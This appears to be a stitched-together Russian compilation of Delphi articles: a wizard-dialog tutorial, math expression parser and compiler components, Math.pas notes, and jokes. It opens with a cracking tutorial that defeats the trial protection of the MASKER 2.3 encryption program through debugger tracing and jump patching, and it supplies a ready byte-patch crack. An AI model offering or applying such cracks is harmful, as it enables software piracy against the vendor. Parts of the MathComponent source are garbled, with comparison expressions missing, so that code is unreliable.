Вот попалась ко мне в руки эта штуковина, которая может шифровать целые директории средствами RSA. Да так, что больше никто этих папок, кому это просто не положено, не увидит :) Да вот досада: эта программа Триальная, срок триала всего 10 дней, ну чтож будем ломать... Инструменты: 1) Soft-Ice for Win 2) HexEditor (Hview/Qview) Итак, при запуске программы мы обнаруживаем большое окно, которое не ловится ни на CreateWindow, ни на ShowWindow, ни даже на EnableWindow. Наверное программка написана на VB :) Так и есть, в дирректории программки красуется файл Msvbvm50.dll Ну чтож, соберите нервы вместе и поехали: Скажу сразу, не для протокола, что я помучался с этой программкой довольно долго, пытался даже найти и осмыслить процедуру проверки, но когда увидел тонны VВшного кода, то содрагнулся и решил пойти другим путём: Я пошёл влоб, т.е. ставим бряк:bpx GetModuleFileNameAэто чтобы очутится где-то в начале программы, но не настолько чтобы очень :) Запускаем прогу, почти тут-же вываливаемся в айсе, теперь наша задача выйти (живыми) из всех DLL'ok, делается это просто: жмём F12 около 85 раз, пока не окажемся в модуле MASKER.????, т.е. где-то тут:
:004308DE 3BC3 cmp eax, ebx :004308E0 7D12 jge 004308F4 :004308E2 68A0000000 push 000000A0 :004308E7 68FC2D4100 push 00412DFC :004308EC 57 push edi :004308ED 50 push eaxтеперь трассируем (F10) программку в поисках таких условных переходов (jz/jnz), которые прыгали бы на длинные растояния, т.е. могли бы каким-то образом перепрыгивать процедуру создания напоминающего окна и т.д. Я нашёл первый такой переход вот тут:
:0043FAD5 85C0 test eax, eax <--Проверка :0043FAD7 0F8446010000 je 0043FC23 <--Если ОК - прыгаем :0043FADD C7458801000000 mov [ebp-78], 00000001 :0043FAE4 C7458002000000 mov [ebp-80], 00000002как видите, этот условный переход ведёт далеко от текущего eip, здесь меняем je 0043FC23 на jmp 0043FC23 и запускаем программу, но напоминающее окно снова выскакивает, значит нужно найти ещё одну проверку, трассируем дальше программу с того места, где заменили je на jmp и очень скоро мы окажемся тут:
:0043FDA7 FF1598A24600 Call dword ptr [0046A298] <--вызываем какую-то проверку :0043FDAD 6685DB test bx, bx <--если всё ОК :0043FDB0 0F8412020000 je 0043FFC8 <--то НЕ прыгаем :0043FDB6 6808224600 push 00462208 :0043FDBB 68FA000000 push 000000FAздесь нам нужно заменить je 0043FFC8 на je 0043FDB6 Т.е. даже если мы и прыгнем, то на следующую строку :) Теперь запускаем программу и видим, что окна напоминающего нет и всё пашет как надо. ВсЁ! А для тех, у кого нифига не получилось, готовый крак:
------------вырещать тут---------- MASKER 2.3 crack by vallkor All Checked :) masker.exe 0003EED7: 0F E9 0003EED8: 84 47 0003EED9: 46 01 0003EEDA: 01 00 0003EEDC: 00 90 0003F1B0: 0F EB 0003F1B1: 84 04 0003F1B2: 12 90 0003F1B3: 02 90 0003F1B4: 00 90 0003F1B5: 00 90 ------------вырещать тут----------Исследовал и навая туториал: vallkor //PTDS e-mail: vallkor@chat.ru Page: http://vallkor.chat.ru
Поиск слов по маске.
Автор: MBo Может у кого-нибудь есть готовая функция поиска(выборки) слов по маске (с использованием символов '*' и '?').Такая функция в Дельфи есть: MatchesMask из модуля masks.
Создаем диалог-мастер.
Оформил: DeeCo
Автор: Николай Мазуркин.
В данной статье рассматривается способ создания мастера (Wizard) с использованием средств Delphi и стандартной библиотеки VCL, без установки и использования каких-либо дополнительных компонентов или средств.
ВведениеВ палитре современных средств для строительства программных интерфейсов особое место занимают интерфейсные диалоги типа "мастер" (в оригинале, на английском, Wizard - "фокусник, волшебник"). Данные элементы широко применяются как самой операционной системой Windows (особенно последние версии Windows 2000, Windows XP), так и многими программами различных производителей программного обеспечения. Во многих случаях использование мастера стало стандартом, например, в программах установки программного обеспечения.
Что же такое мастер? Можно определить мастер, как самоконфигурирующийся диалог управления определенным процессом, который разбивает настройку процесса на несколько этапов с возможностью ветвления, проводит пользователя через эти этапы, указывая только необходимые параметры и избавляя от необходимости тратить внимание на элементы управления, не участвующие в текущем этапе.
Достоинствами мастера перед альтернативными решениями, вроде многостраничного диалога настройки являются следующие факторы. Пошаговый процесс настройки облегчает понимание сути настраиваемого процесса. Мастер показывает только необходимые в данный момент элементы управления, что снижает риск ошибки ввода информации. Мастер, благодаря по-этапному разбитию настроек и малому количеству элементов управления на каждом этапе, позволяет ввести большое количество справочных надписей, рисунков и элементов разбивки, что облегчает понимание и восприятие процесса пользователем.Пример мастера приведен на следующем рисунке. Это тестовый мастер, который мы будем разрабатывать в рамках данной статьи.
Практически любой мастер состоит из следующих элементов. "Рекламная" область, которая может располагаться либо слева, либо сверху. Обычно в этой области выводится красивое рекламное изображение, поясняющее назначение данного мастера, либо рекламирующего логотип фирмы-производителя. Расположение этой области сверху более эргономично, так как позволяет вывести еще название текущей странички и краткое пояснение к ней. Такое расположение стало применяется не так давно и выглядит более современным. Область редактирования. Содержит элементы редактирования текущего этапа настройки. Кнопки "Назад" и "Вперед". Позволяют перемещаться по этапам настройки процесса. Кнопка "Отмена". Позволяет в любой момент покинуть диалог настройки.
Представим себе, что мы разрабатываем финансовую программу, результатом которой является таблица с большим количествов записей. Нам необходимо сохранить эту таблицу в формате, указанном пользователем. Формат может быть выбран из множества HTML, XML или TXT. Также у каждого формата существуют свои, специфические настройки.
Решим эту задачу с помощью разработки специального мастера, который позволит пользователю выбрать необходимый формат, указать настройки, и выбрать файл для сохранения отчета.
Схема мастера Прежде чем приступать к кодированию, необходимо продумать структуру будующего мастера: количество и назначение страниц, порядок перехода и конфигурации. Это облегчит работу на последующих этапах, в том числе и на этапе кодирования.Еще лучше нарисовать всю структуру на бумаге или в графическом редакторе типа Visio. А те кто знаком с графическим языком UML, наверняка предпочтут проработать структуру мастера в виде полноценной Statechart диаграммы в редакторе типа Rational Rose. Подобная визуальная проработка структуры позволит продумать и учесть множество нюансов.
Структура нашего мастера показана на следующем рисунке. Блоками обозначены странички, реализующие этапы настройки. В блоках указано программное имя странички (имя компонента), а цифрой в квадратных скобках показан индекс странички среди всех страничек мастера (подробнее о программной реализации мастера мы поговорим далее). Стрелками показаны переходы между страничками по нажатию кнопок "Назад" и "Вперед". Для тех же, кто понимает язык моделирования UML, можно предложить более детальную схему.
Видно, что мастер состоит из семи страничек. Назначение каждой из страничек следующее. tsWelcome - стартовая страничка. При запуске мастера пользователь видит именно ее. На этой страничке нет элементов управления, только два текстовых блока. В первом текстовом блоке описывается назначение и порядок работы данного мастера. Во втором тестовом блоке описываются основные принципы работы с мастерами вообще: назначение кнопок "Назад", "Вперед" и "Отмена". Цель этой странички - позволить пользователю психологически расслабиться и обрести уверенность в своих действиях. В принципе, данную страничку можно полностью убрать и дать пользователю возможность сразу приступить к работе. Однако, по мнению автора, наличие такой странички делает любой мастер более "дружественным" и "вежливым" по отношению к пользователю. tsFormat - страничка выбора формата экспорта. После этой странички наступает ветвление, и переход на следующую страничку происходит в соответствии с выбранным форматом. tsFormatHTML - настройка опций при экспортировании отчета в HTML формате. tsFormatXML - настройка опций при экспортировании отчета в XML формате. tsFormatTXT - настройка опций при экспортировании отчета в TXT формате. tsProgress - страничка экспортирования. На данной страничке собственно и происходит экспортирование отчета в соответствии с выбранным форматом. На страничке располагается журнал операций, который позволяет проследить прогресс выполнения экспортирования (если отчет очень большой и экспортирование длится более 1-2 секунд), а также позволяет увидеть всю информацию о возникающих ошибках. При успешном экспортировании управление передается на следующую страничку. tsFinish - страничка, информирующая пользователя об успешном окончании процесса экспортирования. На данной страничке пользователь модет либо завершить работу с мастером, либо экспортировать отчет еще раз, но уже в другом формате (обратите внимание куда ведет стрелка по событию OnBackward).
Будем считать, что мы уже разработали содержание, дизайн и текстовое наполнение каждой из страничек.
Устройство мастера.
Итак, схема мастера уже полностью разработана и нам нужно приступить к непосредственному кодированию.
Прежде чем приступить к рассмотрению вопросов, связанных с кодированием мастера, скачайте и откройте тестовый проект, содержащий полную реализацию проектируемого нами мастера.
<<< Исходный код проекта диалога-мастера
В режиме редактирования наш мастер выглядит следующим образом.
Настройка основных элементов мастера показана зеленым цветом. С остальными настройками и расположением элементов вы можете ознакомится сами, используя Object Inspector.
В качестве контейнера для страниц мы будем использовать элемент TPageControl. Для того чтобы убрать выпуклую рамку вокруг элемента переведем его в режим tsButtons. Заголовки страничек позволят нам быстро выбирать нужную страничку для редактирования, однако они будут лишними в рабочем режиме. Чтобы убрать эти заголовки, при создании формы установим у всех элементов TTabSheet свойство TabVisible равным False. Для того чтобы дизайн мастера в рабочем режиме не сильно отличался от дизайна в режиме редактирования, установим минимальную высоту закладок.
В "рекламной" области установим два текстовых элемента, один из которых будет отображать название текущей странички, а другой - краткое пояснение к ней. Чтобы не умножать сущности, название странички будем хранить прямо в ней, в свойстве TTabSheet.Caption, а краткое пояснение в свойстве TTabSheet.Hint (но при этом TTabSheet.ShowHint = False).
Код мастераПо сути, любой мастер - это конечный автомат или state machine, в чистом виде. У него есть внутренние состояние, которое может быть в одном из нескольких положений (один из этапов или страничек). Также есть два события - OnForward и OnBackward, которые переводят этот автомат из одного состояния в другое, в зависимости от дополнительных внутренних настроек или опций. При этом переход определяется исключительно текущим положением и текущими настройками.
Такой подход позволяет прекрасно и понятно описать работу мастера с помощью средств UML, а также анализировать и реализовывать работу мастера с помощью уже готового математического аппарата. Однако, мы не будем залезать в теоретические дебри и реализуем мастер простым способом.
Основной код мастера состоит из трех процедур, являющихся обязательными для каждого мастера.
Процедура ShowPageПроцедура ShowPage активизирует указанную страницу, настраивает кнопки и внешний вид диалога в соответствии с указанной страницей. Эта процедура также копирует текст названия страницы и комментарий к ней из свойств TTabSheet.Caption и TTabSheet.Hint в текстовые поля "рекламной" области.
Можно дополнять и расширять эту процедуру. Например, настраивать дополнительные кнопки, выводить каждый раз новый логотип или информационную картинку в соответствии с выбранной страничкой, проигрывать звуковые файлы и т.д.
////////////////////////////////////////////////////////////////////////////////
// Показываем требуемую страничку
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.ShowPage(PageIndex: Integer);
begin
// Проверка индекса на допустимость
if (PageIndex < 0) or (pcWizard.PageCount < = PageIndex) then
Exit;
// Установка странички
pcWizard.ActivePageIndex := PageIndex;
// Установка параметров заголовка
lblCaption.Caption := pcWizard.ActivePage.Caption;
lblHint.Caption := pcWizard.ActivePage.Hint;
// Настраиваем кнопку "Назад"
btnBackward.Visible := PageIndex <
>
tsWelcome.PageIndex;
// Настраиваем кнопку "Вперед"
if PageIndex = tsFinish.PageIndex then
btnForward.Caption := 'Готово'
else
btnForward.Caption := 'Вперед >';
// Настраиваем кнопку "Отмена"
btnCancel.Enabled := PageIndex <
>
tsFinish.PageIndex;
end;
Обработчик OnForward
Обработчик события OnForward срабатывает каждый раз при нажатии кнопки "Вперед". И, если процедура ShowPage определяет, как выглядит мастер на каждой страничке, то обработчик события OnForward определяетю, что происходит при переходе от одной странички вперед к другой.
По умолчанию, обработчик заменяет текущую страничку следующей, не производя при этом никаких других действий. Однако, для того чтобы реализовать логику нашего мастера, мы должны каждый раз проверять какая страничка находится в данный момент на экране, и какую страничку мы должны выставить следующей.
Обратите внимание, что при уходе с определенных страничек происходит проверка их содержимого на корректность. И, если введенные пользователем данные на страничке некорректны, перехода не происходит.
////////////////////////////////////////////////////////////////////////////////
// Передвигаемся вперед
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.OnForward(Sender: TObject);
begin
// Это страница выбора формата?
if pcWizard.ActivePage = tsFormat then
begin
// Показываем соответствующую страницу
if rbtnChooseHTML.Checked then
ShowPage(tsFormatHTML.PageIndex);
if rbtnChooseXML.Checked then
ShowPage(tsFormatXML.PageIndex);
if rbtnChooseTXT.Checked then
ShowPage(tsFormatTXT.PageIndex);
Exit;
end;
// Это формат HTML?
if pcWizard.ActivePage = tsFormatHTML then
begin
// Проверка имени файла
if Trim(edtExportHTML.Text) = '' then
begin
edtExportHTML.SetFocus;
Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
MB_ICONWARNING);
Exit;
end;
// Очищаем лог
memLog.Clear;
ShowPage(tsProgress.PageIndex);
Exit;
end;
// Это формат XML?
if pcWizard.ActivePage = tsFormatXML then
begin
// Проверка имени файла
if Trim(edtExportXML.Text) = '' then
begin
edtExportXML.SetFocus;
Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
MB_ICONWARNING);
Exit;
end;
// Очищаем лог
memLog.Clear;
ShowPage(tsProgress.PageIndex);
Exit;
end;
// Это формат TXT?
if pcWizard.ActivePage = tsFormatTXT then
begin
// Проверка имени файла
if Trim(edtExportTXT.Text) = '' then
begin
edtExportTXT.SetFocus;
Application.MessageBox('Укажите имя файла', PChar(Caption), MB_OK or
MB_ICONWARNING);
Exit;
end;
// Очищаем лог
memLog.Clear;
ShowPage(tsProgress.PageIndex);
Exit;
end;
// Это страница экспорта?
if pcWizard.ActivePage = tsProgress then
begin
// Выполняем экспортирование
if rbtnChooseHTML.Checked then
if not ExportHTML then
Exit;
if rbtnChooseXML.Checked then
if not ExportXML then
Exit;
if rbtnChooseTXT.Checked then
if not ExportTXT then
Exit;
// Переходи на финальную страницу
ShowPage(tsFinish.PageIndex);
Exit;
end;
// Это финальная страница?
if pcWizard.ActivePage = tsFinish then
begin
ModalResult := mrOK;
Exit;
end;
// Действие по умолчанию - следующая страница
ShowPage(pcWizard.ActivePageIndex + 1);
end;
Обработчик OnBackward
Обработчик события OnBackward срабатывает каждый раз при нажатии на кнопку "Назад" и, по назначению, аналогичен обработчику OnForward. Данный обработчик определяет, что происходит при уходе со странички в обратном направлении.
////////////////////////////////////////////////////////////////////////////////
// Передвигаемся назад
////////////////////////////////////////////////////////////////////////////////
procedure TDialogWizard.OnBackward(Sender: TObject);
begin
// Это страница экспорта?
if pcWizard.ActivePage = tsProgress then
begin
// Показываем соответствующую страницу
if rbtnChooseHTML.Checked then
ShowPage(tsFormatHTML.PageIndex);
if rbtnChooseXML.Checked then
ShowPage(tsFormatXML.PageIndex);
if rbtnChooseTXT.Checked then
ShowPage(tsFormatTXT.PageIndex);
Exit;
end;
// Это финальная страница?
if pcWizard.ActivePage = tsFinish then
begin
ShowPage(tsFormat.PageIndex);
Exit;
end;
// Это формат HTML?
if pcWizard.ActivePage = tsFormatHTML then
begin
ShowPage(tsFormat.PageIndex);
Exit;
end;
// Это формат XML?
if pcWizard.ActivePage = tsFormatXML then
begin
ShowPage(tsFormat.PageIndex);
Exit;
end;
// Это формат TXT?
if pcWizard.ActivePage = tsFormatTXT then
begin
ShowPage(tsFormat.PageIndex);
Exit;
end;
// Действие по умолчанию - предыдущая страница
ShowPage(pcWizard.ActivePageIndex - 1);
end;
Дополнительные советы
Мастер является мощным инструментом реализации настроек сложных процессов и процедур, однако само по себе создание мастера не приводит автоматически к успеху - любой мастер должен быть продуманным, а его использование - оправданным.
Вот несколько дополнительных советов. А нужен ли вообще мастер в вашем случае? Возможно, что настройки процесса просты, а элементы управления гармонично умещаются в одном диалоге. Достигайте компромиса между количеством страничек в мастере и числом управляющих элементов на каждой страничке. Продумайте систему переходов между страничками в прямом и обратном направлении. Лучше, если вы нарисуете визуальную диаграмму переходов. Размещайте на страничках больше информационных текстовых элементов - это поможет пользователю разобраться в процессе, не прибегая к вызову справки. Создавайте в мастере стартовую и финальную страницы. Стартовая страница проинформирует пользователя о сути процесса, а финальная - об успешном (или неуспешном) окончании процесса. Пропорции сторон диалога мастера могут точно или приближенно соответствовать "золотому" сечению - это создаст благоприятный визуальный эффект. Дизайн каждой странички мастера должен быть тщательно проработан. Не забывайте о порядке перехода фокуса между элементами как каждой странички, так и мастера в целом.Компонент MathParser.
Оформил: DeeCo
Автор: Константин Колганов.
Компонент MathParser разбирает математические выражения и вычисляет их. Математическое выражение может состоять из чисел (целых и действительных), переменных (любая последовательность букв и цифр начинающаяся с буквы), действий арифметики (плюс, минус, умножить, разделить, возвести в степень ), функций (любая последовательность букв и цифр начинающаяся с буквы и заканчивающаяся круглыми скобками) и скобки для задания приоритетов. Переменные и функции чувствительны к регистру. Свойства Expression - тип String, математическое выражение, которое нужно вычислить. Напримерx^2+sin(exp(x))-b+2Variables - тип TStrings, представляет набор переменных и их значений, разделенных знаком =. Например
x=2 b=2Методы Execute - возвращает значение выражения, при данных значениях переменных. Возвращаемое значение имеет тип Real. Исключения EUntrueSequence - недопустима последовательность символов, например x(3); EUnknownSymbol - недопустимый символ, например @; EUndeclaredIdentifier- неизвестный идентификатор; EUnknownFunction - неизвестная функция; Допустимые символы:
+ - плюс; - - минус; * - умножение; / - дделение; ^ - возведение в степень; ( ) -скобки; 1..9 - числа; . или ,- разделитель дробной части;Функции sin - синус; cos-косинус; tan-тангенс; exp-экспонента; ln - логарифм натуральный; sqrt - корень; arctan - арктангенс; Скачать исходные коды: MathComp.zip (6К)
Компилятор математических выражений.
Автор: Глызин Дмитрий Цели использования В некоторых областях часто встречается ситуация, когда требуется вычислять значения функций, задаваемых непосредственно во время работы программы. Иногда для этого достаточно создания интерпретаторов, которые производят как анализ, так и вычисление выражения средствами языка высокого уровня. Однако в случаях, когда на первое место среди качеств программы выходит ее быстродействие, такой вариант становится неприемлемым. Как раз для приложений, производящих длительные вычисления, и был создан данный модуль, анализ формулы в котором производится так же, как и в интерпретаторах (благодаря однократности действия оно не оказывает влияния на скорость), но ее расчет при конкретных значениях переменных происходит с той же (либо большей) скоростью, что и при вызове обычных функций Delphi.Возможности
Проверяется корректность введенного выражения. Вычисляются правильно составленные выражения, содержащие бинарные операции +, -, *, /, ^, любые скобки, функции sin, cos, tg, ctg, exp, ln, lg, числовые константы типа extended (с точкой в качестве десятичного разделителя), и переменные произвольной длины, состоящие из букв любого алфавита и цифр. Одинаковые символы в разных регистрах считаются идентичными. Если аргументом функции является переменная либо константа, то их не обязательно заключать в скобки.Пример:
-(x+cosy)/Exp[z]+LN {sin пеРеменная1-tg 3.14}
|
a b c d e f g h i + + + + + + + + ,где число подряд идущих переменных больше восьми, а также в некоторых других неудачных случаях, модуль откажется генерировать код функции. Это связано с использованием при вычислениях одного лишь стека сопроцессора для хранения промежуточных результатов, и будет исправлено в следующей версии. Кроме того, для нормальной работы придется отключить Tools/Debugger options/Language Exceptions/Stop on Delphi Exceptions, иначе будет довольно утомительно: при анализе исключения возникают десятками. Суть действий модуля В памяти, соответствующей переменной типа "массив байтов", создается машинный код, соответствующий входной строке, после чего переменной типа "function:extended" присваивается адрес начала массива. Использование модуля
1. Заводим переменную типа TFormula:
TFormula = record CS: CodeSeg; // массив с кодом DS: DataSeg; // массив с переменными и константами proc: tproc; // вызываемая функция end; var formula1: tformula; |
Использованные идеи и алгоритмы
Алгоритм Эрли проверки корректности входной строки. Упрощенный вариант алгоритма Дейкстры перевода в обратную польскую запись на основе стека с приоритетами. Способ формирования кода в памяти из программы Сергея Втюрина. Методы вычисления различных математических функций из открытых исходников модуля Math.Скачать проект Compiler.zip (25K).
Использование многомерных массивов в процедурах и функциях из модуля Math.
Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Использование многомерных массивов в процедурах и функциях из Math.pas
Многим процедурам и функциям из Math.pas в качестве одного из
параметров требуется одномерный открытый массив, например:
function Mean(const Data: array of Double): Extended;
function Sum(const Data: array of Double): Extended;
function MinValue(const Data: array of Double): Double;
function MaxValue(const Data: array of Double): Double;
Эти процедуры и функции можно применить также для работы с
многомерными массивами или подмассивами одномерного массива,
приводя их тип и заменяя описание открытого массива на пару
"Data: pointer; Bound: integer", где первый параметр -
указатель на первый обрабатываемый элемент массива,
второй - количество обрабатываемых элементов минус 1.
Например, для доступа к функции MaxIntValue можно использовать тип:
TMaxIntValue = function(Data: pointer; Bound: integer): integer;
Зависимости: Math
Автор: Александр Шарахов, alsha@mailru.com, Москва
Copyright: Александр Шарахов
Дата: 18 января 2003 г.
***************************************************** }
type // Тип для доступа к MaxIntValue
TMaxIntValue = function(Data: pointer; Bound: integer): integer;
Пример использования:
type // Тип для доступа к MaxIntValue TMaxIntValue = function(Data: pointer; Bound: integer): integer; var a: array[1..2, 1..2, 1..2] of integer; b: integer; begin // Эквивалент для b:=MaxIntValue(a); если бы так можно было писать b := TMaxIntValue(@MaxIntValue)(@a, SizeOf(a) div SizeOf(integer) - 1); end;
Преобразование строки в математическое выражение и получение результата.
| - А чем отличается программист от простого смертного? - Тем, что может дать ответ на вопрос, уже содержащий в себе сам ответ. - Да, это как? - Ну, например: - сколько будет 2 x 2=4? - TRUE |
unit MathComponent;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, math;
type
TMathtype = (mtnil, mtoperator, mtlbracket, mtrbracket, mtoperand);
type
TMathOperatortype = (monone, moadd, mosub, modiv, momul, mopow);
type
pmathchar = ^Tmathchar;
TMathChar = record
case mathtype: Tmathtype of
mtoperand:(data:extended);
mtoperator:(op:TMathOperatortype);
end;
type
TMathControl = class(TComponent)
private
input, output, stack: array of tmathchar;
fmathstring: string;
function getresult:extended;
function calculate(operand1,operand2,operator:Tmathchar):extended;
function getoperator(c:char):TMathOperatortype;
function getoperand(mid:integer;var len:integer):extended;
procedure processstring;
procedure convertinfixtopostfix;
function isdigit(c:char):boolean;
function isoperator(c:char):boolean;
function getprecedence(mop:TMathOperatortype):integer;
protected
published
property MathExpression:string read fmathstring write fmathstring;
property MathResult:extended read getresult;
end;
procedure register;
implementation
function Tmathcontrol.calculate(operand1,operand2,operator:Tmathchar):extended;
begin
result:=0;
case operator.op of
moadd:
result:=operand1.data + operand2.data;
mosub:
result:=operand1.data - operand2.data;
momul:
result:=operand1.data * operand2.data;
modiv:
if (operand1.data<>0) and (operand2.data<>0) then
result:=operand1.data / operand2.data
else
result := 0;
mopow:
result:=power(operand1.data, operand2.data);
end;
end;
function Tmathcontrol.getresult:extended;
var
i:integer;
tmp1,tmp2,tmp3:tmathchar;
begin
convertinfixtopostfix;
setlength(stack,0);
for i:=0 to length(output)-1 do
begin
if output[i].mathtype=mtoperand then
begin
setlength(stack,length(stack)+1);
stack[length(stack)-1]:=output[i];
end
else
if output[i].mathtype=mtoperator then
begin
tmp1:=stack[length(stack)-1];
tmp2:=stack[length(stack)-2];
setlength(stack,length(stack)-2);
tmp3.mathtype:=mtoperand;
tmp3.data:=calculate(tmp2,tmp1,output[i]);
setlength(stack,length(stack)+1);
stack[length(stack)-1]:=tmp3;
end;
end;
result:=stack[0].data;
setlength(stack,0);
setlength(input,0);
setlength(output,0);
end;
function Tmathcontrol.getoperator(c:char):TMathOperatortype;
begin
result:=monone;
if c='+' then
result:=moadd
else
if c='*' then
result:=momul
else
if c='/' then
result:=modiv
else
if c='-' then
result:=mosub
else
if c='^' then
result:=mopow;
end;
function Tmathcontrol.getoperand(mid:integer;var len:integer):extended;
var
i,j:integer;
tmpnum:string;
begin
j:=1;
for i:=mid to length(fmathstring)-1 do
begin
if isdigit(fmathstring[i]) then
begin
if jthen
tmpnum:=tmpnum+fmathstring[i];
j:=j+1;
end
else
break;
end;
result:=strtofloat(tmpnum);
len:=length(tmpnum);
end;
procedure Tmathcontrol.processstring;
var
i:integer;
numlen:integer;
begin
i:=0;
numlen:=0;
setlength(output,0);
setlength(input,0);
setlength(stack,0);
fmathstring:='('+fmathstring+')';
setlength(input,length(fmathstring));
while ido
begin
if fmathstring[i+1]='(' then
begin
input[i].mathtype:=mtlbracket;
i:=i+1;
end
else
if fmathstring[i+1]=')' then
begin
input[i].mathtype:=mtrbracket;
i:=i+1;
end
else
if isoperator(fmathstring[i+1]) then
begin
input[i].mathtype:=mtoperator;
input[i].op:=getoperator(fmathstring[i+1]);
i:=i+1;
end
else
if isdigit(fmathstring[i+1]) then
begin
input[i].mathtype:=mtoperand;
input[i].data:=getoperand(i+1,numlen);
i:=i+numlen;
end;
end;
end;
function Tmathcontrol.isoperator(c:char):boolean;
begin
result:=false;
if (c='+') or (c='-') or (c='*') or (c='/') or (c='^') then
result:=true;
end;
function Tmathcontrol.isdigit(c:char):boolean;
begin
result:=false;
if ((integer(c)> 47) and (integer(c)or (c='.') then
result:=true;
end;
function Tmathcontrol.getprecedence(mop:TMathOperatortype):integer;
begin
result:=-1;
case mop of
moadd: result := 1;
mosub: result := 1;
momul: result := 2;
modiv: result := 2;
mopow: result := 3;
end;
end;
procedure Tmathcontrol.convertinfixtopostfix;
var
i,j,prec:integer;
begin
processstring;
for i:=0 to length(input)-1 do
begin
if input[i].mathtype=mtoperand then
begin
setlength(output,length(output)+1);
output[length(output)-1]:=input[i];
end
else
if input[i].mathtype=mtlbracket then
begin
setlength(stack,length(stack)+1);
stack[length(stack)-1]:=input[i];
end
else
if input[i].mathtype=mtoperator then
begin
prec:=getprecedence(input[i].op);
j:=length(stack)-1;
if j>=0 then
begin
while(getprecedence(stack[j].op)>=prec) and (j>=0) do
begin
setlength(output,length(output)+1);
output[length(output)-1]:=stack[j];
setlength(stack,length(stack)-1);
j:=j-1;
end;
setlength(stack,length(stack)+1);
stack[length(stack)-1]:=input[i];
end;
end
else
if input[i].mathtype=mtrbracket then
begin
j:=length(stack)-1;
if j>=0 then
begin
while(stack[j].mathtype<>mtlbracket) and (j>=0) do
begin
setlength(output,length(output)+1);
output[length(output)-1]:=stack[j];
setlength(stack,length(stack)-1);
j:=j-1;
end;
if j>=0 then
setlength(stack,length(stack)-1);
end;
end;
end;
end;
procedure register;
begin
RegisterComponents('Samples', [TMathControl]);
end;
end.
|
Математика времени.
| Распорядок рабочего дня программиста: 7:00 Открыли глазки, посмотрели на часы, плюнули (мысленно), решили поспать еще полчасика, закрыли глазки. 7:30 открыли глазки, посмотрели на часы, решили поспать еще четверть часа, закрыли глазки. 7:52 открыли глазки, выматерились (мысленно), подумали о смысле жизни, подумали еще разок, искоса посмотрели на одежду, выматерились (мысленно). 7:58 вскочили, побрились, умылись, приготовили завтрак, съели его, почистили ботинки, нашли рубашку, оделись, пробежались до метро. 8:20 поспали в метро, почитали книжку, ничего не поняли, поспали в метро. 9:20 опоздали на работу, включили компьютер, пошли покурить. 9:30 попытались согнать с компа играющих. 9:40 попытались согнать с компа играющих. 9:50 попытались согнать с компа играющих. 10:00 попытались согнать с компа играющих. 10:10 попытались согнать с компа играющих. 10:20 попытались согнать с компа играющих. 10:30 попытались согнать с компа играющих. 10:40 согнали играющих, от переутомления пошли курить. 10:50 наорали на играющих, сели работать. 11:00 вспомнили, в чем заключается работа. 11:01 проголодались, пошли в буфет. 11:32 вернулись из буфета, дали по морде играющим, сели работать. 11:38 пришла главбухша, попросила рассказать про бухгалтерскую программу. 12:30 объяснили главбухше, пошли курить. 12:40 стукнули по голове играющим, сели работать. 13:20 написали две строки программы, начали отлаживать, не получилось, пошли курить. 13:30 продолжили отладживать написанные две строки. 15:03 написали еще 120 строк. 15:22 отладили их. 15:23 пошли курить. 15:33 покурили, сели работать. 15:50 завис, сволочь, поматерились (мысленно), разобрали, контроллеры пошевелили, молотком стукнули, заработал. 16:20 проголодались, пошли обедать. 17:00 убили играющих, сели программки писать. 17:08 поняли, что голова не варит. 17:10 поняли, что голова совсем не варит. 17:14 поняли, что голова совершенно абсолютно не варит. 17:15 посмотрели на часы, вздохнули, запустили ГолдЕд, создали видимость усиленной деятельности. 17:59 собрались, выключили комп, поправили галстук, одели пиджак. 18:00 пошли домой. 18:05 в метро поспали, место никому не уступили (свиньи мы). 19:00 пришли домой, поужинали, на мессаги ответили, ответы перетоссировали, на кота наорали, успокоились. 22:00 фронду поставили, пошли на второй ужин. 23:44 свежая почта пришла, на дискеты ее покидали. 0:00 с юзерами початились, побазарили. 3:56 на часы глянули, офигели, спать легли. 7:00 Открыли глазки, посмотрели на часы, плюнули (мысленно), решили поспать еще полчасика... |
Работа с временными величинами в Delphi очень проста, если пользоваться встроенными функциями преобразования. Определите глобальные Hour, Minute, Second и инициализируйте их следующим образом:
Hour := EncodeTime(1,0,0,0); Minute := EncodeTime(0,1,0,0); Second := EncodeTime(0,0,1,0); |
Или, если вы предпочитаете константы, сделайте так:
Hour = 3600000/MSecsPerDay; Minute = 60000/MSecsPerDay; Second = 1000/MSecsPerDay; |
Теперь для того, чтобы добавить 240 минут к переменной TDateTime, просто сделайте.
T := T + 240*Minute; |
Описание функций модуля Math.
Тригонометрические функции и процедуры
ArcCos - Арккосинус ArcCosh - Пиперболический арккосинус ArcSIn - Арксинус ArcSInh - Гиперболический арксинус ArcTahn - Гиперболический арктангенс ArcTan2 - Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System) Cosh - Гиперболический косинус Cotan - Котангенс CycleToRad - Преобразование циклов в радианы DegToRad - Преобразование градусов в радианы GradToRad - Преобразование градов в радианы Hypot - Вычисление гипотенузы прямоугольного треугольника по длинам катетов RadToCycle - Преобразование радианов в циклы RadToDeg - Преобразование радианов в градусы RacIToGrad - Преобразование радианов в грады SinCos - Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее Sinh - Гиперболический синус Tan - Тангенс Tanh - Гиперболический тангенсАрифметические функции и процедуры
Cell - Округление вверх Floor - Округление вниз Frexp - Вычисление мантиссы и порядка заданной величины IntPower - Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости Ldexp - Умножение Х на 2 в заданной степени LnXPI - Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю LogN - Вычисление логарифма Х по основанию N LogIO - Вычисление десятичного логарифмах Log2 - Вычисление двоичного логарифмах Power - Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемоФинансовые функции и процедуры
DoubleDecliningBalance - Вычисление амортизации методом двойного баланса
function DoubleDecliningBalance(Cost, Salvage: Extended; Life, Period: Integer): Extended; |
